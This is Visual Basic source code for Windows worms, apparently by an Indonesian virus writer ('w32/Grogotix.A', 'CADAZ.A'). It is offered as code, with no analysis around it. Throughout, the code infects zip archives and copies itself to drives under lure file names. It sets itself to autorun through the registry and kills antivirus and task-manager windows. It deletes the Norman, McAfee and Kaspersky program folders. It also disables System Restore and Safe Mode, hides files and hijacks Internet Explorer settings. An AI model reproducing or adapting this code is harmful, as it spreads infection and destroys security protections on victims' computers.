winzipexist = 0
End If

If winzipexist = 1 Then

Set folder = Fso.getfolder(path)
Set Files = folder.Files

For Each file In Files

If Fso.GetExtensionName(file.path) = "zip" Then
Set ws = CreateObject("wscript.shell")
Set word = CreateObject("word.application")
appword = word.System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\winzip32.exe", "")
ws.run appword & " -a -r " & file.path & Chr(32) & " " & Fso.GetSpecialFolder(1) & "\PleaseRead1st.vbs"
End If
Next

Set Subfolders = folder.Subfolders

For Each Subfolder In Subfolders
SearchWinZip Subfolder.path
Next

End If
End Function

infeksi file exe

Attribute VB_Name = "BacaFile"
'/######################################################\
'# #
'# w32/Grogotix.A #
'# Create By : dr.Pluto (pluto_devil@Phreaker.net) #
'# Create date : 19/11/2006 #
'# Comment : "Maju terus Hackers Indonesia" #
'# #
'\######################################################/
'Module name: BacaFile.bas
'

Option Explicit
Private Const FILE_ATTRIBUTE_ARCHIVE = &H20
Private Const FILE_ATTRIBUTE_DIRECTORY = &H10
Private Const FILE_ATTRIBUTE_HIDDEN = &H2
Private Const FILE_ATTRIBUTE_READONLY = &H1
Private Const FILE_ATTRIBUTE_SYSTEM = &H4
Private Const INVALID_HANDLE_VALUE = -1
Private Const MAX_PATH = 260

Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type

Private Type SYSTEMTIME
wYear As Integer
wMonth As Integer
wDayOfWeek As Integer
wDay As Integer
wHour As Integer
wMinute As Integer
wSecond As Integer
wMilliseconds As Integer
End Type

Private Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type

Private Declare Function FindClose Lib "kernel32" _
(ByVal hFindFile As Long) As Long

Private Declare Function FindFirstFile Lib "kernel32" _
Alias "FindFirstFileA" (ByVal lpFileName As String, _
lpFindFileData As WIN32_FIND_DATA) As Long

Private Declare Function FileTimeToSystemTime Lib "kernel32" _
(lpFileTime As FILETIME, lpSystemTime As SYSTEMTIME) As Long

Private Declare Function GetFileAttributes Lib "kernel32" _
Alias "GetFileAttributesA" (ByVal lpFileName As String) As Long

Private Declare Function GetShortPathName Lib "kernel32" _
Alias "GetShortPathNameA" (ByVal lpszLongPath As String, _
ByVal lpszShortPath As String, ByVal cchBuffer As Long) _
As Long

Private Declare Sub GetSystemTime Lib "kernel32" _
(lpSystemTime As SYSTEMTIME)

Public Function FileAttributes(ByVal strFilename As String) _
As String

Dim lngFileAttributes As Long
Dim strFileAttributeFlags As String
If Not FileExists(strFilename) Then
Exit Function
End If
lngFileAttributes = GetFileAttributes(strFilename)
If lngFileAttributes And FILE_ATTRIBUTE_DIRECTORY Then
strFileAttributeFlags = strFileAttributeFlags + "D"
End If
If lngFileAttributes And FILE_ATTRIBUTE_ARCHIVE Then
strFileAttributeFlags = strFileAttributeFlags + "A"
End If
If lngFileAttributes And FILE_ATTRIBUTE_SYSTEM Then
strFileAttributeFlags = strFileAttributeFlags + "S"
End If
If lngFileAttributes And FILE_ATTRIBUTE_HIDDEN Then
strFileAttributeFlags = strFileAttributeFlags + "H"
End If
If lngFileAttributes And FILE_ATTRIBUTE_READONLY Then
strFileAttributeFlags = strFileAttributeFlags + "R"
End If
FileAttributes = strFileAttributeFlags
End Function

Public Function FileCreated(ByVal strFilename As String) As Date
Dim datFileCreationDate As Date
Dim lngFileHandle As Long
Dim udtSystemTime As SYSTEMTIME
Dim udtWinFindData As WIN32_FIND_DATA
If Not FileExists(strFilename) Then
Exit Function
End If
lngFileHandle = FindFirstFile(strFilename, udtWinFindData)
Call FileTimeToSystemTime(udtWinFindData.ftCreationTime, udtSystemTime)
datFileCreationDate = DateSerial(udtSystemTime.wYear, udtSystemTime.wMonth, udtSystemTime.wDay) + TimeSerial(udtSystemTime.wHour + AdjustTimeForLocalSettings, udtSystemTime.wMinute, udtSystemTime.wSecond)
FileCreated = datFileCreationDate
Call FindClose(lngFileHandle)
End Function

Public Function FileLastAccessed(ByVal strFilename As String) As Date
Dim datFileCreationDate As Date
Dim lngFileHandle As Long
Dim udtSystemTime As SYSTEMTIME
Dim udtWinFindData As WIN32_FIND_DATA
If Not FileExists(strFilename) Then
Exit Function
End If
lngFileHandle = FindFirstFile(strFilename, udtWinFindData)
Call FileTimeToSystemTime(udtWinFindData.ftLastAccessTime, udtSystemTime)
datFileCreationDate = DateSerial(udtSystemTime.wYear, udtSystemTime.wMonth, udtSystemTime.wDay) + TimeSerial(udtSystemTime.wHour + AdjustTimeForLocalSettings, udtSystemTime.wMinute, udtSystemTime.wSecond)
FileLastAccessed = datFileCreationDate
Call FindClose(lngFileHandle)
End Function

Public Function FileLastModified(ByVal strFilename As String) As Date
Dim datFileCreationDate As Date
Dim lngFileHandle As Long
Dim udtSystemTime As SYSTEMTIME
Dim udtWinFindData As WIN32_FIND_DATA
If Not FileExists(strFilename) Then
Exit Function
End If
lngFileHandle = FindFirstFile(strFilename, udtWinFindData)
Call FileTimeToSystemTime(udtWinFindData.ftLastWriteTime, udtSystemTime)
datFileCreationDate = DateSerial(udtSystemTime.wYear, udtSystemTime.wMonth, udtSystemTime.wDay) + TimeSerial(udtSystemTime.wHour + AdjustTimeForLocalSettings, udtSystemTime.wMinute, udtSystemTime.wSecond)
FileLastModified = datFileCreationDate
Call FindClose(lngFileHandle)
End Function

Public Function ReadFromFile(ByVal strFilename As String) As String
Dim lngFileHandle As Long
Dim strFileContents As String
If FileExists(strFilename) Then
If Not InStr(FileAttributes(strFilename), "D") Then
lngFileHandle = FreeFile
Open strFilename For Binary As #lngFileHandle
strFileContents = Space(FileLen(strFilename))
Get #lngFileHandle, , strFileContents
Close #lngFileHandle
End If
End If
ReadFromFile = strFileContents
End Function

Public Function ShortPath(ByVal strFilename As String) As String
Dim strBuffer As String * 255
Dim lngReturnCode As Long
lngReturnCode = GetShortPathName(strFilename, strBuffer, 255)
ShortPath = Left$(strBuffer, lngReturnCode)
End Function

Private Function AdjustTimeForLocalSettings() As Long
Dim datSystemDate As Date
Dim udtSystemTime As SYSTEMTIME
Call GetSystemTime(udtSystemTime)

datSystemDate = DateSerial(udtSystemTime.wYear, _
udtSystemTime.wMonth, udtSystemTime.wDay) _
+ TimeSerial(udtSystemTime.wHour, udtSystemTime.wMinute, _
udtSystemTime.wSecond)

AdjustTimeForLocalSettings = _
DateDiff("h", datSystemDate, Now)
End Function

Function FileExists(ByVal NamaFile As String) As Boolean
Dim lngRetVal As Long
On Error Resume Next

lngRetVal = Len(Dir$(NamaFile))

If Err Or lngRetVal = 0 Then
FileExists = False
Else
FileExists = True
End If

End Function

Form Y4D0Y666

Private Sub bunuh_Timer()
'proteksi
tutup "avg"
tutup "anti"
tutup "ANSAV"
tutup "avast"
tutup "asm"
tutup "avira"
tutup "cillin"
tutup "clean"
tutup "CONFIRM FILE DELETE"
tutup "CONFIRM MULTIPLE FILE DELETE"
tutup "compact"
tutup "CRC"
tutup "debug"
tutup "detect"
tutup "NOD"
tutup "Gasak!!!"
tutup "hijack"
tutup "INTERNET OPTIONS"
tutup "kill"
tutup "KILLBOX"
tutup "k1ckth3w0rm"
tutup "kaspersky"
tutup "mcafee"
tutup "NVC"
tutup "norton"
tutup "regis"
tutup "Norman"
tutup "Ogav"
tutup "panda"
tutup "POCKET KILLBOX"
tutup "proc"
tutup "recovery"
tutup "remover"
tutup "rest"
tutup "scan"
tutup "system"
tutup "System Mechanic"
tutup "Setup"
tutup "SHOW/KILL RUNNING PROCESS"
tutup "SYSTEM RESTORE"
tutup "superdat"
tutup "S m a d A V"
tutup "SmadAV"
tutup "task"
tutup "TKM"
tutup "termin"
tutup "trojan"
tutup "tune"
tutup "update"
tutup "virus"
tutup "vaksin"
tutup "WAV"
tutup "wash"
tutup "walk"
tutup "w32"



'selamatkan moral bangsa
kick "17tahun"
kick "adult"
kick "anal"
kick "bangbros"
kick "bangbus"
kick "Bugil"
kick "CrystalClear"
kick "Doggy Style"
kick "amit-amit"
kick "hentai"
kick "hottie"
kick "kiara kener"
kick "Kama Sutra"
kick "lalatx"
kick "miyabi"
kick "masturb"
kick "naughty"
kick "nude"
kick "naked"
kick "nana1_chunk"
kick "pussy"
kick "porn"
kick "sex"
kick "scandal"
kick "spy cam"
kick "SQ Evolution"
kick "Three Some"
kick "webcam show"
kick "xxx"





Call ganda
Call Racuni_Registry
Call Unjuk_Gigi
Call proteksi_folder



End Sub

Private Sub Form_Load()
Y4D0Y666.Hide
App.TaskVisible = False

If App.PrevInstance Then End


'ganda di folder windows dengan nama dafault.bat
CopyFile App.Path & "\" & App.EXEName & ".exe", GetWindowsPath & "\" & "default.bat", 0

'ganda di system32 dengan nama login.exe dan autoexec.bat
CopyFile App.Path & "\" & App.EXEName & ".exe", GetSystemPath & "\" & "login.exe", 0

CopyFile App.Path & "\" & App.EXEName & ".exe", GetSystemPath & "\" & "autoexec.bat", 0

'ganda di mydocument dengan nama Kerispatih On Da Stage.exe
CopyFile App.Path & "\" & App.EXEName & ".exe", GetSpecialfolder(CSIDL_PERSONAL) & "\" & "KerisPatih On Da Stage.exe", 0



Call ganda
Call Racuni_Registry
Call proteksi_folder
Call Kill_antivirus



End Sub

Private Function Racuni_Registry()

On Error Resume Next


'Disable System Restore
CreateDwordValue HKEY_LOCAL_MACHINE, "SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore", "DisableConfig", 1
CreateDwordValue HKEY_LOCAL_MACHINE, "SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore", "DisableSR", 1
CreateDwordValue HKEY_LOCAL_MACHINE, "SOFTWARE\Policies\Microsoft\Windows\Installer", "LimitSystemRestoreCheckpointing", 1
CreateDwordValue HKEY_LOCAL_MACHINE, "SOFTWARE\Policies\Microsoft\Windows\Installer", "DisableMSI", 1

'Ubah tipe file *.exe jadi Winamp media file
CreateStringValue HKEY_CLASSES_ROOT, "exefile", REG_SZ, "", "Winamp media file"

'Manipulasi Internet Explorer
CreateStringValue HKEY_CURRENT_USER, "Software\Microsoft\Internet Explorer\Main\", REG_SZ, "Window Title", "..:: YaDoY666 [WuZ HeRe] ::.."
CreateStringValue HKEY_CURRENT_USER, "Software\Microsoft\Internet Explorer\Main\", REG_SZ, "Start Page", GetSpecialfolder(CSIDL_PERSONAL) & "\" & "My Pictures\About.htm"

'auto run virus
CreateStringValue HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run\", REG_SZ, "User-Login", GetSystemPath & "login.exe"
CreateStringValue HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run\", REG_SZ, "Norton", GetWindowsPath & "default.bat"

'Disable Folder Options
CreateDwordValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\", "NoFolderOptions", 1
CreateDwordValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\", "NoFolderOptions", 1

'atur registry agar file dengan yang disembunyikan tidak tampil
CreateDwordValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", "HideFileExt", 1
CreateDwordValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", "Hidden", 0
CreateDwordValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", "ShowSuperHidden", 0
CreateDwordValue HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", "HideFileExt", 1
CreateDwordValue HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", "Hidden", 0
CreateDwordValue HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", "ShowSuperHidden", 0

'Atur registry agar tidak bisa masuk safe mode
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\", "dmboot.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\", "dmio.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\", "dmload.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\", "sermouse.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\", "sr.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\", "vga.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\", "vgasave.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "dmboot.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "dmiot.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "rdpcdd.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "rdpdd.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "rdpwd.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "sermouse.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "sr.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "tdpipe.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "tdtcp.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "vga.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "vgasave.sys"

End Function

Private Function ganda()

Dim ictr As Integer
Dim sAllDrives As String
Dim sDrive As String

sDrive = ""
For ictr = 66 To 90
sDrive = Chr(ictr) & ":\"
If GetDriveType(sDrive) = 3 Or GetDriveType(sDrive) = 2 Then
CopyFile App.Path & "\" & App.EXEName & ".exe", sDrive & "I Love You.exe", 0
CopyFile App.Path & "\" & App.EXEName & ".exe", sDrive & "cewe_bandel.exe", 0

End If
Next

End Function

Private Sub Form_Unload(Cancel As Integer)
Shell GetSystemPath & "\" & "login.exe"
End Sub

Private Sub proteksi_folder()
On Error Resume Next
SetAttr GetWindowsPath, vbNormal
SetAttr GetWindowsPath & "\" & "desktop.ini", vbNormal
Kill GetWindowsPath & "\" & "desktop.ini"
Open GetWindowsPath & "\" & "desktop.ini" For Output As #1
Print #1, "[.ShellClassInfo]"
Print #1, "CLSID={C96401CC-0E17-11D3-885B-00C04F72C717}"
Close #1

SetAttr GetWindowsPath & "\" & "desktop.ini", vbHidden
SetAttr GetWindowsPath, vbSystem

End Sub

Private Sub Unjuk_Gigi()
On Error Resume Next
Open GetSpecialfolder(CSIDL_PERSONAL) & "\" & "My Pictures\About.htm" For Output As #1
Print #1, "

IP-WORM a.k.a CADAZ.A

-- Stop Pornography & Our Stupidity --

"
Print #1, "
Respect For Our Girl Who has Pregnanting
And lose our Future


Caused By Pornographic





[-- Akan kubuat menderita otak kalian yang kotor --]

"
Close #1
End Sub

Sub Kill_antivirus()
On Error Resume Next

'bunuh antivirus Norman
If Folder_Exist("C:\Norman") = True Then
prog_AntiVir = Array( _
"C:\Norman\Bin", _
"C:\Norman\Download", _
"C:\Norman\Nse\Bin", _
"C:\Norman\Nvc\Bin", _
"C:\Norman\Nvc\Config", _
"C:\Norman\Qtn\Bin" _
)
SetAttr "C:\Norman", vbNormal

For p = 0 To 3
Kill prog_AntiVir(p) & "\*.exe"
Kill prog_AntiVir(p) & "\*.dll"
Kill prog_AntiVir(p) & "\*.zip"
Kill prog_AntiVir(p) & "\*.*"
Next p
RmDir "C:\Norman"
End If

'bunuh antivirus Norman kalo ada di dalam direcktory Program Files
If Folder_Exist("C:\Program Files\Norman") = True Then
prog_AntiVir = Array( _
"C:\Program Files\Norman\Bin", _
"C:\Program Files\Norman\Download", _
"C:\Program Files\Norman\Nse\Bin", _
"C:\Program Files\Norman\Nvc\Bin", _
"C:\Program Files\Norman\Nvc\Config", _
"C:\Program Files\Norman\Qtn\Bin" _
)
SetAttr "C:\Program Files\Norman", vbNormal

For p = 0 To 3
Kill prog_AntiVir(p) & "\*.exe"
Kill prog_AntiVir(p) & "\*.dll"
Kill prog_AntiVir(p) & "\*.zip"
Kill prog_AntiVir(p) & "\*.*"
Next p
RmDir "C:\Program Files\Norman"
End If

'bunuh antivirus McAfee
If Folder_Exist("C:\Program Files\McAfee") = True Then
prog_AntiVir = Array( _
"C:\Program Files\McAfee\McAfee Firewall", _
"C:\Program Files\McAfee\McAfee VirusScan", _
"C:\Program Files\McAfee\McAfee VirusScan\Backups\DatBackup", _
"C:\Program Files\McAfee\McAfee VirusScan\Backups\EngineBackup", _
"C:\Program Files\McAfee\McAfee VirusScan\Res00", _
"C:\Program Files\McAfee\VirusScan Wireless" _
)
SetAttr "C:\Program Files\McAfee", vbNormal

For p = 0 To 3
Kill prog_AntiVir(p) & "\*.exe"
Kill prog_AntiVir(p) & "\*.dll"
Kill prog_AntiVir(p) & "\*.zip"
Kill prog_AntiVir(p) & "\*.*"
Next p
RmDir "C:\Program Files\McAfee"
End If

'bunuh antivirus McAfee
If Folder_Exist("C:\Program Files\Kaspersky Lab") = True Then
prog_AntiVir = Array( _
"C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus Personal Pro", _
"C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus Personal Pro\Policy", _
"C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus Personal Pro\Report", _
"C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus Personal Pro\Infected" _
)
SetAttr "C:\Program Files\Kaspersky Lab", vbNormal

For p = 0 To 3
Kill prog_AntiVir(p) & "\*.exe"
Kill prog_AntiVir(p) & "\*.dll"
Kill prog_AntiVir(p) & "\*.zip"
Kill prog_AntiVir(p) & "\*.vxd"
Kill prog_AntiVir(p) & "\*.*"
Next p
RmDir "C:\Program Files\Kaspersky Lab"
End If



End Sub

Module BUNUH

Public Declare Function GetForegroundWindow Lib "user32" () As Long
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Public Const WM_CLOSE = &H10



Public Function kick(target As String)
Dim H As Long
Dim T As String * 255
H = GetForegroundWindow
GetWindowText H, T, 255
If InStr(UCase(T), UCase(target)) > 0 Then
SendMessage H, WM_CLOSE, 0, 0
End If
End Function

Module FILE

Public Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Public Declare Function SHGetSpecialFolderLocation Lib "shell32.dll" (ByVal hwndOwner As Long, ByVal nFolder As Long, pidl As ITEMIDLIST) As Long
Public Declare Function SHGetPathFromIDList Lib "shell32.dll" Alias "SHGetPathFromIDListA" (ByVal pidl As Long, ByVal pszPath As String) As Long
Public Declare Function GetSystemDirectory Lib "kernel32.dll" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function GetWindowsDirectory Lib "kernel32.dll" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function CreateDirectory Lib "kernel32" Alias "CreateDirectoryA" (ByVal lpPathName As String, lpSecurityAttributes As SECURITY_ATTRIBUTES) As Long
Public Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Public Declare Function DeleteFile Lib "kernel32.dll" Alias "DeleteFileA" (ByVal lpFileName As String) As Long
Public Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long

Public Const FILE_ATTRIBUTE_SYSTEM = &H4
Public Const FILE_ATTRIBUTE_READONLY = &H1
Public Const FILE_ATTRIBUTE_HIDDEN = &H2
Public Const FILE_ATTRIBUTE_DIRECTORY = &H10
Public Const FILE_ATTRIBUTE_ARCHIVE = &H20
Public Const FILE_ATTRIBUTE_NORMAL = &H80

Public Type SHITEMID
cb As Long
abID As Byte
End Type

Public Type ITEMIDLIST
mkid As SHITEMID
End Type

Public Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type

Enum SFolder
CSIDL_DESKTOP = &H0 'menunjukkan folder virtual yang menyatakan root untuk semua namespace (/Desktop)
CSIDL_PROGRAMS = &H2 'menunjukkan folder sistem yang berisi grup program user (/Programs)
CSIDL_CONTROLS = &H3 'menunjukkan folder virtual yang berisi ikon-ikon aplikasi Control Panel (/Control Panel)
CSIDL_PRINTERS = &H4 'menunukkan folder virtual yang berisi printer-printer yang diinstall (/Printers)
CSIDL_PERSONAL = &H5 'menunjukkan folder sistem yang digunakan untuk menyimpan dokumen umum user (/My Document)
CSIDL_FAVORITES = &H6 'menunjukkan folder yang berisi item-item favorite user (/Favorites)
CSIDL_STARTUP = &H7 'menunjukkan folder yang berisi grup program StartUp user (/Startup)
CSIDL_RECENT = &H8 'menunjukkan folder sistem yang berisi dokumen-dokumen yang sering digunakan (/Recent)
CSIDL_SENDTO = &H9 'menunjukkan folder yang berisi item menu Send To (/Send To)
CSIDL_BITBUCKET = &HA 'menunjukkan folder sistem yang berisi objek file pada RecycleBin user (/Recycle Bin)
CSIDL_STARTMENU = &HB 'menunjukkan folder sistem yang berisi item-item menu Start (/StartMenu)
CSIDL_DESKTOPDIRECTORY = &H10 'menunjukkan folder sistem yang dapatkan digunakan untuk menyimpan objek file secara fisik pada desktop
CSIDL_DRIVES = &H11 'menunjukkan folder yang berisi segala sesuatu pada komputer lokal (/My Computer)
CSIDL_NETWORK = &H12 'menunjukkan folder yang berisi objek link yang kemungkinan ada pda folder virtual My Network Places (/My Network Places)
CSIDL_NETHOOD = &H13 'menunjukkan folder yang menyatakan root dari hierarki namespace network (/NetHood)
CSIDL_FONTS = &H14 'menunjukkan folder yang berisikan font (/FONT)
CSIDL_TEMPLATES = &H15 'menunjukkan folder yang digunakan untuk menyimpan dokumen template (/Template)
End Enum

'Get special folder
Public Function GetSpecialfolder(JenisFolder As SFolder) As String
Dim r As Long
Dim IDL As ITEMIDLIST
'get special folder
r = SHGetSpecialFolderLocation(100, JenisFolder, IDL)
If r = NOERROR Then
'create buffer
Path$ = Space$(512)
'Get path from IDList(IDL)
r = SHGetPathFromIDList(ByVal IDL.mkid.cb, ByVal Path$)
'Remove chr$(0)
GetSpecialfolder = Left$(Path, InStr(Path, Chr$(0)) - 1)
Exit Function
End If
GetSpecialfolder = ""
End Function

'Get System Path
Public Function GetSystemPath() As String

On Error Resume Next
Dim Buffer As String * 255
Dim x As Long
x = GetSystemDirectory(Buffer, 255)
GetSystemPath = Left(Buffer, x) & "\"

End Function

'Get Windows Path
Public Function GetWindowsPath() As String

On Error Resume Next
Dim Buffer As String * 255
Dim x As Long

x = GetWindowsDirectory(Buffer, 255)
GetWindowsPath = Left(Buffer, x) & "\"

End Function

Public Function Folder_Exist(ByVal strFolder As String) As Boolean
Dim fso As Object
Set fso = CreateObject("Scripting.FileSystemObject")

If InStr(1, Right$(strFolder, 5), ".") > 0 Then
strFolder = fso.GetParentFolderName(strFolder)
End If

If fso.FolderExists(strFolder) Then
Folder_Exist = True
Else
Folder_Exist = False
End If
Set fso = Nothing

End Function

Module Racuni_Registry

'Registry API
Public Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Public Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Public Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Public Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long

Public Const REG_DWORD = 4

Enum REG
HKEY_CURRENT_USER = &H80000001
HKEY_CLASSES_ROOT = &H80000000
HKEY_CURRENT_CONFIG = &H80000005
HKEY_LOCAL_MACHINE = &H80000002
HKEY_USERS = &H80000003
End Enum

Enum TypeStringValue
REG_SZ = 1
REG_EXPAND_SZ = 2
REG_MULTI_SZ = 7
End Enum

'Create or Set Dword Value Registry
Public Function CreateDwordValue(hKey As REG, Subkey As String, strValueName As String, dwordData As Long) As Long

On Error Resume Next
Dim ret As Long

RegCreateKey hKey, Subkey, ret
CreateDwordValue = RegSetValueEx(ret, strValueName, 0, REG_DWORD, dwordData, 4)
RegCloseKey ret

End Function

Public Function CreateStringValue(hKey As REG, Subkey As String, RTypeStringValue As TypeStringValue, strValueName As String, strData As String) As Long

On Error Resume Next
Dim ret As Long

RegCreateKey hKey, Subkey, ret
CreateStringValue = RegSetValueEx(ret, strValueName, 0, RTypeStringValue, ByVal strData, Len(strData))
RegCloseKey ret

End Function
Public Function DeleteValue(hKey As REG, Subkey As String, lpValName As String) As Long
Dim ret As Long

On Error Resume Next
RegOpenKey hKey, Subkey, ret
DeleteValue = RegDeleteValue(ret, lpValName)
RegCloseKey ret

End Function

Module Restart

Public Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Public Declare Function OpenProcessToken Lib "advapi32.dll" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long
Public Declare Function LookupPrivilegeValue Lib "advapi32" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As String, ByVal lpName As String, lpLuid As LUID) As Long
Public Declare Function AdjustTokenPrivileges Lib "advapi32.dll" (ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, PreviousState As TOKEN_PRIVILEGES, ReturnLength As Long) As Long
Public Declare Function GetCurrentProcess Lib "kernel32" () As Long
Public Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As Long

Public Const EWX_FORCE = 4
Public Const EWX_REBOOT = 2
Public Const EWX_SHUTDOWN = 1
Public Const VER_PLATFORM_WIN32_NT = 2
Public Const ANYSIZE_ARRAY = 1
Public Const TOKEN_ADJUST_PRIVILEGES = &H20
Public Const TOKEN_QUERY = &H8
Public Const SE_PRIVILEGE_ENABLED = &H2

Public Type LUID
LowPart As Long
HighPart As Long
End Type

Public Type LUID_AND_ATTRIBUTES
pLuid As LUID
Attributes As Long
End Type

Public Type TOKEN_PRIVILEGES
PrivilegeCount As Long
Privileges(ANYSIZE_ARRAY) As LUID_AND_ATTRIBUTES
End Type

Public Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End Type

'Reboot Windows(Not WinNT)
Public Function Reboot() As Long

'On Error Resume Next
LogOff = ExitWindowsEx(EWX_FORCE Or EWX_REBOOT, 0)

End Function

'Shutdown Windows(Not WinNT)
Public Function Shutdown() As Long

'On Error Resume Next
LogOff = ExitWindowsEx(EWX_FORCE Or EWX_SHUTDOWN, 0)

End Function

'Detection WinNT
Public Function IsWinNT() As Boolean

'On Error Resume Next
Dim myOS As OSVERSIONINFO

myOS.dwOSVersionInfoSize = Len(myOS)
GetVersionEx myOS
IsWinNT = (myOS.dwPlatformId = VER_PLATFORM_WIN32_NT)

End Function

'For Get Privileges from Win NT
Public Sub EnableShutDown()

'On Error Resume Next
Dim hProc As Long
Dim hToken As Long
Dim mLUID As LUID
Dim mPriv As TOKEN_PRIVILEGES
Dim mNewPriv As TOKEN_PRIVILEGES

hProc = GetCurrentProcess()
OpenProcessToken hProc, TOKEN_ADJUST_PRIVILEGES + TOKEN_QUERY, hToken
LookupPrivilegeValue "", "SeShutdownPrivilege", mLUID
mPriv.PrivilegeCount = 1
mPriv.Privileges(0).Attributes = SE_PRIVILEGE_ENABLED
mPriv.Privileges(0).pLuid = mLUID
